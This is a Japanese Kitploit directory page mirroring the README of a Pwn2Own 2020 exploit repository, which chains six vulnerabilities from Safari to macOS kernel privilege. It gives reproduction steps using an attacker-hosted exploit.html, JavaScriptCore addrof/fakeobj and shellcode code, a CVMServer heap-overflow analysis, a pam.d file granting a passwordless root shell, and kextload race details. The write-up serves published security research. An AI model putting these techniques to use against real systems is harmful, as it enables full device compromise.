Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
pwn2own2020 — 6つの脆弱性を連鎖させてSafari経由でmacOSカーネルを侵害する | Kitploit
ツール/GitHubGitHub/sslab-gatech/pwn2own2020
特権昇格エクスプロイトシェルコードウェブアプリケーション悪用ペネトレーションテストペイロード開発バイナリエクスプロイト
GitHubsslab-gatech/pwn2own2020

pwn2own2020

6つの脆弱性を連鎖させてSafari経由でmacOSカーネルを侵害する

リポジトリを見る
4145835年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

macOS カーネルを Safari 経由で 6 つの脆弱性を連鎖させて侵害する

概要

このリポジトリには、macOS 10.15.3 を対象としたカーネル権限昇格を伴う Apple Safari への Pwn2Own 2020 優勝提出 のエクスプロイトおよび技術的詳細が含まれています。詳細については、Blackhat USA 2020 のスライド と ビデオ もご覧ください。また、このリポジトリには、エクスプロイト成功時の デモビデオ も含まれています。

再現方法

  1. exploits フォルダ内で python3 を使用して HTTP サーバーを実行します。```shell $ python3 -m http.server 80
root@kitploit:~
2. Safariで攻撃者サーバーのIPを使用してウェブサイトにアクセスする:```
http://[attacker_ip]/exploit.html
  1. Calculator(電卓)が起動するのを待ちます(通常は10秒で起動しますが、運が悪いと 時間がかかります)。そして、カーネル特権を持つターミナルも表示されます。カーネル特権 昇格の証明として、SIPを無効にしました。確認するには、 csrutil status コマンドを実行してください。disabled と表示されます。

ソースからビルドする

便宜上、コンパイル済みのペイロード payload.js を提供しています。ただし、ご自身で ビルドすることもできます。これには非常に長い時間がかかることに注意してください。 なぜなら、エクスプロイトチェーンの一部として WebKit をビルドするからです。なお、 ビルドプロセスは Mac OS でのみテストしたことも記しておきます。```shell

Install xcode first

$ python3 -m pip install --user lief $ make

root@kitploit:~
技術的な詳細
-----------------

このエクスプロイトを成立させるために、私たちは以下の*6つ*の脆弱性を連鎖させました。

### 1. JavaScriptCore DFGコンパイラにおける'in'演算子の誤った副作用モデリングによるSafariでのリモートコード実行

- 根本原因の分析

JavaScriptCoreでは、インデックス付きプロパティが'in'演算子で問い合わせられた場合、
DFGコンパイラは、この操作をインターセプトできるプロキシオブジェクトが
プロトタイプチェーン内に存在しない限り、その操作は副作用が無いものと想定します。
JavaScriptCoreは、このインデックス付きプロパティアクセスをインターセプトできるオブジェクトを、
'MayHaveIndexedAccessors'というフラグを使用してマークします。
このフラグは、Proxyオブジェクトに対して明示的にマークされます。```javascript
0 in [] // side-effect free

let arr = [];
arr.__proto__ = new Proxy({}, {});
0 in arr // can cause side-effect!

しかし、副作用を引き起こす可能性のある別のオブジェクトがあります。 独自の getOwnPropertySlot() メソッドを実装する JSHTMLEmbedElement です。1つ の方法として、'in' 演算子で JavaScript コールバック(すなわち副作用)をトリガーするには、 PDFプラグインを備えた <embed> 要素を使用します。プロパティが embed / object タグの DOM オブジェクトで照会されると、 背後にあるプラグインをロードしようとし、 PDFプラグインの場合は DOMSubtreeModified イベントハンドラが呼び出される可能性があります。なぜなら、 body 要素に対して appendChild メソッドを使用するからです。

これは、getOwnPropertySlot() から副作用を呼び出したときのスタックトレースです。```txt Stack trace #1 0x1c1463dbb in WebKit::PDFPlugin::PDFPlugin(WebKit::WebFrame&) (.../WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x1463dbb) #2 0x1c144cac7 in WebKit::PDFPlugin::create(WebKit::WebFrame&) (.../WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x144cac7) #3 0x1c1b65d48 in WebKit::WebPage::createPlugin(WebKit::WebFrame*, WebCore::HTMLPlugInElement*, WebKit::Plugin::Parameters const&, WTF::String&) (.../WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x1b65d48) #4 0x1c18cddc4 in WebKit::WebFrameLoaderClient::createPlugin(WebCore::IntSize const&, WebCore::HTMLPlugInElement&, WTF::URL const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::String const&, bool) (.../WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x18cddc4) #5 0x1cfb3f224 in WebCore::SubframeLoader::loadPlugin(WebCore::HTMLPlugInImageElement&, WTF::URL const&, WTF::String const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, bool) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3d01224) #6 0x1cfb3f62c in WebCore::SubframeLoader::requestObject(WebCore::HTMLPlugInImageElement&, WTF::String const&, WTF::AtomString const&, WTF::String const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3d0162c) #7 0x1cf424c85 in WebCore::HTMLPlugInImageElement::requestObject(WTF::String const&, WTF::String const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x35e6c85) #8 0x1cf300912 in WebCore::HTMLEmbedElement::updateWidget(WebCore::CreatePlugins) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x34c2912) #9 0x1cfd0a57e in WebCore::FrameView::updateEmbeddedObject(WebCore::RenderEmbeddedObject&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3ecc57e) #10 0x1cfd0a807 in WebCore::FrameView::updateEmbeddedObjects() (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3ecc807) #11 0x1cfcf19c7 in WebCore::FrameView::updateEmbeddedObjectsTimerFired() (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3eb39c7) #12 0x1cedbd595 in WebCore::Document::updateLayoutIgnorePendingStylesheets(WebCore::Document::RunPostLayoutTasks) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2f7f595) #13 0x1cf41b681 in WebCore::HTMLPlugInElement::renderWidgetLoadingPlugin() const (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x35dd681) #14 0x1cf2ffc2d in WebCore::HTMLEmbedElement::renderWidgetLoadingPlugin() const (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x34c1c2d) #15 0x1cf41ad77 in WebCore::HTMLPlugInElement::pluginWidget(WebCore::HTMLPlugInElement::PluginLoadingPolicy) const (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x35dcd77) #16 0x1ce7b3e26 in WebCore::pluginScriptObjectFromPluginViewBase(WebCore::HTMLPlugInElement&, JSC::JSGlobalObject*) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2975e26) #17 0x1ce7b3dca in WebCore::pluginScriptObject(JSC::JSGlobalObject*, WebCore::JSHTMLElement*) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2975dca) #18 0x1ce7b4023 in WebCore::pluginElementCustomGetOwnPropertySlot(WebCore::JSHTMLElement*, JSC::JSGlobalObject*, JSC::PropertyName, JSC::PropertySlot&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2976023) #19 0x1cca3e913 in WebCore::JSHTMLEmbedElement::getOwnPropertySlot(JSC::JSObject*, JSC::JSGlobalObject*, JSC::PropertyName, JSC::PropertySlot&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xc00913) #20 0x1e946dd6c in llint_slow_path_get_by_id (.../WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x232ad6c)

root@kitploit:~
プロトタイプチェーン内のオブジェクトはどれも"MayHaveIndexedAccessors"でマークされていないため、JITはこの'in'演算子の使用には内部に遷移が含まれないものと想定し、遷移後に配列型チェックを除去します。```javascript
// In the frame of 

function opt(arr) {
	arr[0] = 1.1;
	100 in arr; // 100 not exists in arr, making it check __proto__
	return arr[0]
}

for(var i = 0; i < 10000; i++) opt([1.1])
arr.__proto__ = document.querySelector('embed')

document.body.addEventListener('DOMSubtreeModified', () => {
	arr[0] = {}
})

document.body.removeChild(embed)
opt([1.1]) // leaks address of {} as double value

これをもとにaddrof/fakeobjプリミティブを構築することで、任意の RWプリミティブを作成して、JITコンパイルされたJavaScript関数でコード実行を実現できます。

  • エクスプロイト

addrof/fakeobjプリミティブを取得した後、偽のオブジェクトを作成することで、それらをより安定した addrof/fakeobjプリミティブに変換します。```javascript hostObj = { // hostObj.structureId // hostObj.butterfly _: 1.1, // dummy length: (new Int64('0x4141414141414141')).asDouble(), // -> fakeHostObj = fakeObj(addressOf(hostObj) + 0x20) id: (new Int64('0x0108191700000000')).asJSValue(), butterfly: null, o: {}, executable:{ a:1, b:2, c:3, d:4, e:5, f:6, g:7, h:8, i:9, // Padding (offset: 0x58) unlinkedExecutable:{ isBuiltinFunction: 1 << 31, a:0, b:0, c:0, d:0, e:0, f:0, // Padding (offset: 0x48) identifier: null } }, // -> fakeIdentifier = fakeObj(addressOf(hostObj) + 0x40) strlen_or_id: (new Int64('0x10')).asDouble(), // String.size target: hostObj // String.data_ptr }

hostObj.executable.unlinkedExecutable.identifier = fakeIdentifier Function.prototype.toString(fakeHostObj) // function leaked-structure-id { [native code] }

root@kitploit:~
私たちは、偽の関数オブジェクト
fakeHostObj を作成して Function.prototype.toString を呼び出すことで、hostObj の structure id を漏洩させます。関数の名前は
structure id の値を UTF-16 文字列として反映します。
structure id を漏洩させた後、hostObj を更新します。この手法は、
[Yong Wang 氏の Blackhat EU 2019
講演](https://www.blackhat.com/eu-19/briefings/schedule/#thinking-outside-the-jit-compiler-understanding-and-bypassing-structureid-randomization-with-generic-and-old-school-methods-17513) に由来することに注目に値します。```javascript
hostObj = {
                                                            // hostObj.structureId
                                                            // hostObj.butterfly
    _: 1.1,                                                 // dummy
    length: (new Int64('0x4141414141414141')).asDouble(),
                                                            // -> fakeHostObj = fakeObj(addressOf(hostObj) + 0x20)
    id: leakStructureId.asDouble(),                         // fakeHostObj.structureId
    butterfly: fakeHostObj,                                 // fakeHostObj.butterfly
    o: {},
    ...
}

Now we have fakeHostObj's butterflyがfakeHostObj自身を指すようになりました。fakeHostObj[2]を使ってhostObj.oにJSValueとして、またはdoubleとしてアクセスできるため、バグを再度引き起こすことなくaddrof/fakeobjプリミティブを使用できます。

漏洩したattackObjの構造IDとaddrof/fakeobjプリミティブを使用して、以下のようなオブジェクトを作成できます。```javascript rwObj = { // rwObj.structureId // rwObj.butterfly _: 1.1, // dummy length: (new Int64('0x4141414141414141')).asDouble(), // fakeRwObj = fakeObj(addressOf(rwObj) + 0x20) id: leakStructureId.asDouble(), // fakeRwObj.structureId butterfly: fakeRwObj, // fakeRwObj.butterfly

root@kitploit:~
__: 1.1,                                                // dummy
innerLength: (new Int64('0x4141414141414141')).asDouble(),
                                                        // fakeInnerObj = fakeObj(addressOf(rwObj) + 0x40)
innerId: leakStructureId.asDouble(),                    // fakeInnerObj.structureId
innerButterfly: fakeInnerObj,                           // fakeInnerObj.butterfly

}

root@kitploit:~
fakeRwObj を使用して fakeInnerObj のバタフライポインタを更新し、
fakeInnerObj との間で読み書きすることで、任意の RW プリミティブを取得できます。
任意の RW プリミティブから RCE を得るには、dummy 関数の JIT コンパイルをトリガーし、
コードアドレスをリークして、それをシェルコードで上書きします。 コードアドレスのリークは、
fake 配列から特定の値を読み書きできないために失敗することがあります。その場合、
ポインタ位置 + 1 から読み取って値をシフトすることで近似しようとします。 最後に、
alert 関数のコードポインタを dummy 関数のコードポインタで上書きし、
(いくつかの引数とともに) 呼び出して
シェルコードを実行します。


### 2. Safari における didFailProvisionalLoad() 内のシンボリックリンクを介した任意の .app 起動

file:// URL の場合、Safari は [NSWorkspace selectFile:inFileViewerRootedAtPath:] で Finder ウィンドウを開きます。
この関数は 2 つのパラメータを受け付けますが、ほとんどの場合、Safari は最初のパラメータのみを使用します。
最初のパラメータは指定されたファイルの格納フォルダを表示します。しかし
2 番目のパラメータが代わりに使用された場合、Finder はファイルが実行可能ファイルまたは
アプリバンドルであれば、そのファイルを起動します。

Safari は、指し示されたパスがアプリケーションバンドル --- .app サフィックスを持つディレクトリではないことを確認した後に、2 番目のパラメータを使用します。
シンボリックリンクはアプリケーションバンドルを指すことができますが、これは
.app サフィックスを持つディレクトリではありません。
したがって、Safari はシンボリックリンクが指すアプリケーションを起動します。この
コードパスは、didFailProvisionalLoad() IPC メッセージを送信することでトリガーできます。

しかし、Safari 自体は Seatbelt サンドボックスのシステムコールフィルタのため、
シンボリックリンクを作成できません。そこで、root を提供するが、サンドボックス化された
コード実行しかできない別の脆弱性を使用します。


### 3. ヒープオーバーフローを介した CVM (Core Virtual Machine) サービスにおける任意コード実行

com.apple.cvmsServ (i.e. CVMServer) というサンドボックス化された XPC サービスがあり、
さまざまなアーキテクチャ向けのシェーダをコンパイルします。これは組み込みの
OpenGL フレームワークの一部です。

"message" フィールドが 4 に設定されたリクエストに対し、CVMServer はユーザー指定の
"framework data" と "maps" を解析します。"maps" データファイルは、
"/System/Library/Caches/com.apple.CVMS/%s.%s.%u.maps" にあります - 最初の %s は
フィルタなしでユーザー指定です。そのため、ディレクトリトラバーサルが可能であり、
Safari のサンドボックス内で作成されたファイルを解析させることができます。```c
    FILE *fp = fopen(&framework_name_, "r");
    ...
    Header *header = malloc(0x50);
    fread(header, 0x50, 1, v132);
    ...
    items_offset = header->items_offset;
    items_count = header->items_count;
    header = realloc(header, 56 * items_count + items_offset);
    fread(&header->char50, items_offset + 56 * items_count - 0x50, 1, v132);

item_count * 56 + items_offset <= 0x50 の場合、fread() はおよそ 2^64 に近いアンダーフローした長さを受け取るため、任意長ペイロードによるヒープオーバーフローになります。なお、fread() は指定されたファイルの終端に達すると停止します。

これを利用することで、接続に関連するヒープオブジェクトを上書きでき、以下のポインタを改変できる可能性があります:```c case 7: // "message" == 7 v34 = xpc_dictionary_get_uint64(input, "heap_index"); v11 = cvmsServerServiceGetMemory(a1a->session, v34, &port, &size); if ( v11 ) goto error; xpc_dictionary_set_mach_send(reply, "vm_port", port);

__int64 __fastcall cvmsServerServiceGetMemory(xpc_session *a1, unsigned __int64 index, _DWORD *port, _QWORD *a4) { Pool *pool; // rax unsigned int v7; // ebx heapitem *v8; // rax

pthread_mutex_lock((&server_globals + 2)); // a1->attachedService is controlled value pool = a1->attachedService->context->pool_ptr; v7 = 521; if ( pool->pointersCount > index ) { v8 = pool->pointers; *port = v8[index].port; *a4 = v8[index].size; v7 = 0; } pthread_mutex_unlock((&server_globals + 2)); return v7; }

root@kitploit:~
「port」の値が 0x103 (TASK-SELF) の場合、サービスはクライアントに
CVMServer のタスクポートの送信権を付与します。これを使用すると、メモリを
割り当て、プロセス上で任意のコードを実行できます。v8[index].port == 0x103 にするため、
プロセス間で同じアドレスを持つライブラリ領域のメモリを
検索しました。```txt
rax := UserInput
[rax+0x38] = X
[X+0x30] = Length (UINT64_MAX)
[X+0x28] = Y (0)
[Y+0x18*index+0x10] = 0x103 (== mach_task_self_)

0 と -1 の 2 つの 64 ビット整数値を持つ領域が多数あり、rax+0x38 と X+0x30 については、公開シンボルである _xpc_error_termination_imminent がこの条件を満たすことを発見しました。長さが 2^64 / 0x10 より大きいため、Y(==0)*0x18+index+0x10 == &0x103 を指すようにモジュラ逆数を計算できました。

CVMServer には com.apple.security.cs.allow-jit が設定されていたため、MAP_JIT フラグを付けて mmap を呼び出し、リフレクティブローダーを起動してプロセス上で dylib ファイルを実行できました。このコードを CVMServer 上で実行しました。```c // In /var/db/CVMS (writable folder)

char randbuf[0x1000]; sprintf(randbuf, "%lu.app", clock()); symlink(randbuf, "my.app");

// Create a valid application at my.app

root@kitploit:~
`%lu.app` とシンボリックリンク `my.app` を作成した後、Safari に戻って IPC メッセージを送信し、アプリを開きました。しかし、あと2つの保護がありました。それは、quarantine チェックと、初回アプリ起動チェックです。

### 4. macOS の初回アプリ起動保護の回避

Safari がアプリを初めて実行しようとする場合、ファイルに `com.apple.quarantine` という属性が付いていると、Safari はその実行を拒否するか、ユーザーの確認を待ちます。WebProcess が作成したすべてのファイルには `com.apple.quarantine` 属性が付いています。しかし、私たちはフォルダを WebProcess ではなく CVMServer プロセスで作成したため、すでにこれを回避できます。ユーザー確認については、macOS はまずプロセスを作成して一時停止し、ユーザーが `Open` ボタンをクリックした後にプロセスを続行します。しかし、SIGCONT シグナルを送信することは、ボタンをクリックするのと同じ効果がありました。

そこで、`my.app` を作成した後、CVMServer 内でこのコードを継続的に実行しました。```c
    for(int i = 0; i < 65536; i++)
        kill(i, SIGCONT);

5. 競合状態による任意のファイル/フォルダ権限変更を介した cfprefsd のルート権限昇格

cfprefsd は、ユーザーが plist ファイルを作成できるようにするもう1つの XPC サービスです。これは CoreFoundation に配置されており、ほとんどのサンドボックス化されていないプロセスから到達可能です。すでに通常ユーザー向けのサンドボックス化されていない権限(つまり CVMServer)を取得しているため、対象のフォルダとファイルに、クライアントユーザーがファイルに書き込むことを許可する十分な権限ビットがあれば、cfprefsd に plist ファイルの作成を要求できます。ただし、フォルダが存在しない場合、plist ファイルのフォルダを再帰的に作成します。

以下は、フォルダを作成する CVMServer のコードスニペットです。```c _CFPrefsCreatePreferencesDirectory(path) { for(slice in path.split("/")) { cur += slice if(!mkdir(cur, 0777) || errno in (EEXIST, EISDIR)) { chmod(cur, perm) chown(cur, client_id, client_group) } else break } }

root@kitploit:~
しかし、パスがユーザー書き込み可能なディレクトリを指している場合、ユーザーはそのディレクトリを置き換えることができ、
`cur` が指すディレクトリを任意のファイル/フォルダーへのシンボリックリンクに置き換えることができます。
cfprefsd は root 権限を持つため、次のようなフォルダーの所有者を変更することが可能です。
/etc/pam.d など。 /etc/pam.d の所有者を変更することで、以下の内容で /etc/pam.d/login を
書き込むことができます:```txt
auth       optional       pam_permit.so
auth       optional       pam_permit.so
auth       optional       pam_permit.so
auth       required       pam_permit.so
account    required       pam_permit.so
account    required       pam_permit.so
password   required       pam_permit.so
session    required       pam_permit.so
session    required       pam_permit.so
session    optional       pam_permit.so

その後、login root コマンドを実行すると、認証なしで root シェルが得られ ます。

6. kextload におけるモジュールステージングバイパスとレースコンディションを利用したカーネル特権昇格

kextload は、macOS で kext(カーネルエクステンション)操作を実行できる プログラムの 1 つです。kextload [path of .kext folder] を実行すると、root ユーザーは ユーザーモードから署名済み kext をロードできます。署名されていない kext や不正な署名の kext を 防ぐため、kextload は IOKitUser パッケージに 'authenticator' コールバックを設定します。残念ながら、 コールバックが利用できるリソースは kext のパスのみであるため、レース コンディションを防ぐことは困難です。これを緩和するために、kextload はまず kext フォルダを専用領域 -- /Library/StagedExtensions --- にコピーします。この領域は、 SIP と entitlement メカニズムの おかげで、root 権限でも変更できません。

kextload は次のように動作します。kextload /tmp/A.kext を実行すると、kextload は 元の kext フォルダを /Library/StagedExtensions/tmp/[UUID].kext にコピーします。 次に、kextload はフォルダ内のすべてのファイルの署名をチェックします。これが失敗した場合は、 フォルダを削除します。それ以外の場合は、フォルダを /Library/StagedExtensions/tmp/A.kext にコピーし、このモジュールをロードします。```txt $ kextload /tmp/A.kext -> copy to /Library/StagedExtensions/tmp/[UUID].kext -> validate signatures. if failed, delete the directory -> if succeeded, copy to /Library/StagedExtensions/tmp/A.kext -> load the kext

root@kitploit:~
kextload における1つの問題は、このプロセスがroot権限を持つユーザーに
よって終了され得るということです。前述のコピーにはシンボリックリンク
が含まれており、これは後で検証されることに注意する価値があります。しかし、
検証の前にkextloadプロセスを終了させれば、/Library/StagedExtensions内に
シンボリックリンクを持つ無効なkextを保持することができます。```txt
# assume /tmp/A.kext/symlink -> /tmp/
$ kextload /tmp/A.kext
    -> copy to /Library/StagedExtensions/tmp/[UUID].kext
    -> kill this process
    -> then, /Library/StagedExtensions/tmp/[UUID].kext/symlink will be remained

この後、 kextload /tmp/[UUID].kext/symlink/B.kext で別の kextload コマンドを実行すると、B.kext はルート権限ユーザーが書き込み可能な 場所(例: /tmp/[UUID'].kext)にコピーされます``` $ kextload /tmp/[UUID].kext/symlink/B.kext -> copy to /Library/StagedExtensions/tmp/[UUID].kext/symlink/[UUID'].kext -> since symlink -> /tmp, this is equal to /tmp/[UUID'].kext.

root@kitploit:~
コピー後、kextloadは、それが安全な場所にあるかどうかをチェックします。すなわち
`/Library/StagedExtensions/*` です。シンボリックリンクを一時的に
/tmp/A.kext に置いて、/Library/StagedExtensions/[path of valid kext] を指すようにできます。
検証後、モジュールバイナリを未署名のカーネルモジュールに置き換えて、
カーネルコード実行を得ることができます。

競合状態を確実にするために、sandbox-execを使用して、指定されたサフィックスを持つファイル
アクセスの時点でプログラムを停止させました。

著者
-------
- Yonghwi Jin ([email protected])
- Jungwon Lim ([email protected])
- Insu Yun ([email protected])
- Taesoo Kim ([email protected])

引用
--------```txt
@inproceedings{jin:pwn2own2020-safari,
  title        = {{Compromising the macOS kernel through Safari by chaining six vulnerabilities}},
  author       = {Yonghwi Jin and Jungwon Lim and Insu Yun and Taesoo Kim},
  booktitle    = {Black Hat USA Briefings (Black Hat USA)},
  month        = aug,
  year         = 2020,
  address      = {Las Vegas, NV},
}

参照

  • https://github.com/saelo/pwn2own2018
  • https://github.com/LinusHenze/WebKit-RegEx-Exploit
  • https://github.com/niklasb/sploits/blob/master/safari/regexp-uxss.html
  • https://i.blackhat.com/eu-19/Thursday/eu-19-Wang-Thinking-Outside-The-JIT-Compiler-Understanding-And-Bypassing-StructureID-Randomization-With-Generic-And-Old-School-Methods.pdf
ツールをダウンロード